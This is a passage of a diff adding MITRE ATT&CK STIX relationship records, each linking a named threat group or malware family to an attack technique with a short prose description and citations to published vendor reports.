"course-of-action--16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d", + "modified": "2019-07-24T14:33:42.577Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to pack their tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T21:43:14.128Z", + "id": "relationship--ef1cdbe7-29c9-4be9-a3f7-96e5b7bae031", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.515Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "APT3 Adversary Emulation Plan", + "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.", + "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[jRAT](https://attack.mitre.org/software/S0283)\u2019s Java payload is encrypted with AES. Additionally, backdoor files are encrypted using DES as a stream cipher. Later variants of [jRAT](https://attack.mitre.org/software/S0283) also incorporated AV evasion methods such as Java bytecode obfuscation via the commercial Allatori obfuscation tool.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ec2e27c9-71fe-4650-a5b9-1247193c39f6", + "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", + "modified": "2019-06-24T17:20:24.387Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "jRAT Symantec Aug 2018", + "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques" + }, + { + "source_name": "Symantec Frutas Feb 2013", + "description": "Bingham, J. (2013, February 11). Cross-Platform Frutas RAT Builder and Back Door. Retrieved April 23, 2019.", + "url": "https://www.symantec.com/connect/blogs/cross-platform-frutas-rat-builder-and-back-door" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--003f23dd-24c7-4b3b-b703-0bf081d638f4", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.544Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Orangeworm](https://attack.mitre.org/groups/G0071) has used HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--1d90aad5-e0fb-4a8c-862a-71d3db99bae9", + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "modified": "2019-03-25T15:36:46.835Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Orangeworm IOCs April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). Orangeworm: Indicators of Compromise. Retrieved July 8, 2018." + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can delete files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c8480a31-f2ef-4de2-82b2-95b1ddedec2e", + "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "source_name": "Symantec Pasam May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[DustySky](https://attack.mitre.org/software/S0062) extracts basic information about the operating system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c008b7f3-0507-4987-a7e4-8c4d57cb4ca5", + "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "source_name": "DustySky", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[Pupy](https://attack.mitre.org/software/S0192) uses [PsExec](https://attack.mitre.org/software/S0029) to execute a payload or commands on a remote host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--00822c6a-a881-4678-8d74-6a52b2ca27c9", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.933Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Dyre](https://attack.mitre.org/software/S0024) registers itself as a service by adding several Registry keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e9d2213a-81cf-45e3-876f-825d4ff2afae", + "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", + "modified": "2019-04-24T23:21:07.877Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.", + "source_name": "Symantec Dyre June 2015", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.064Z", + "id": "relationship--f1af286d-9367-45de-aced-a762838e58bd", + "source_ref": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983", + "modified": "2019-03-25T17:01:21.311Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Dell TG-1314", + "description": "Dell SecureWorks Counter Threat Unit Special Operations Team. (2015, May 28). Living off the Land. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/resources/blog/living-off-the-land/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used Web shells, often to maintain access to a victim network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2dbed740-1b50-4d59-a729-a1d9e6a839df", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.339Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has sent malicious Office documents via email as part of spearphishing campaigns as well as executables disguised as documents.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--239d98a7-f134-4270-8333-c2df2feaa9ca", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.529Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + }, + { + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "source_name": "DOJ APT10 Dec 2018", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve lists of running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--53a8ee3f-f261-46d5-a6eb-512735867ee2", + "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "source_name": "Symantec Pasam May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "description": "[Calisto](https://attack.mitre.org/software/S0274) adds a .plist file to the /Library/LaunchAgents folder to maintain persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5b402ed2-f2cf-4346-8b46-548689671aef", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "source_name": "Securelist Calisto July 2018", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070)'s version of [Bandook](https://attack.mitre.org/software/S0234) adds a registry key to HKEY_USERS\\Software\\Microsoft\\Windows\\CurrentVersion\\Run for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--74fd87b9-3aff-4278-a408-11ae470082e5", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:20.961Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "TRINITY malware used by [FIN6](https://attack.mitre.org/groups/G0037) identifies payment card track data on the victim and then copies it to a local file in a subdirectory of C:\\Windows\\. Once the malware collects the data, [FIN6](https://attack.mitre.org/groups/G0037) actors compressed data and moved it to another staging system before exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.072Z", + "id": "relationship--eaaf6671-ead6-441b-b8d0-037a1e47572e", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.710Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[APT19](https://attack.mitre.org/groups/G0073) sent spearphishing emails with malicious attachments in RTF and XLSM formats to deliver initial exploits.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--818b440b-075d-483d-83ff-9991a78e25f4", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.234Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used HTTP and HTTPS for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--825aded7-3c93-47ec-9ba5-5bd5af4e2e2b", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.266Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + }, + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[T9000](https://attack.mitre.org/software/S0098) performs checks for various antivirus and security products during installation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--74e84133-f84a-469a-bfd7-1a514af2f15e", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[LOWBALL](https://attack.mitre.org/software/S0042) uses the Dropbox cloud storage service for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8c9f23e6-2665-45b3-9c28-53a9335b16ce", + "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "source_name": "FireEye admin@338", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent malicious Word OLE compound documents to victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4bfaaf99-6884-4df1-af72-0cc61ce50aa0", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:33.861Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) identifies files and directories for collection by searching for specific file extensions or file modification time.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d0332cfa-d932-4bc3-b661-9cd72c00b390", + "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) uses DNS TXT records for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c560f682-0d21-4c9b-b35d-33aec2287117", + "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "source_name": "FireEye FIN7 March 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + }, + { + "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.", + "source_name": "Cisco DNSMessenger March 2017", + "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "When it first starts, [BADNEWS](https://attack.mitre.org/software/S0128) spawns a new thread to log keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3e09a5ce-a6a0-4f03-8c23-a7ebb4dfd74c", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "source_name": "PaloAlto Patchwork Mar 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + }, + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) achieves persistence by making an entry in the Registry's Run key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3ebad12d-fd33-4289-93dc-1f5af5e90b66", + "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[SynAck](https://attack.mitre.org/software/S0242) payloads are obfuscated prior to compilation to inhibit analysis and/or reverse engineering.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--142ef662-460f-4082-8f76-f08dd312bc30", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "modified": "2019-07-26T23:00:57.203Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Kaspersky Lab SynAck May 2018", + "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", + "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "The executable version of [Helminth](https://attack.mitre.org/software/S0170) has a module to log clipboard contents.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--a58983e1-45d7-4b45-a578-307659a619dc", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to download files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2025480a-6d91-4ef5-a6ea-cc025c8aecfb", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) adds a new service named NetAdapter to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6b43b9ca-a916-44da-9ba5-917f03984157", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "source_name": "Symantec Catchamas April 2018", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) discovers the current domain information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": 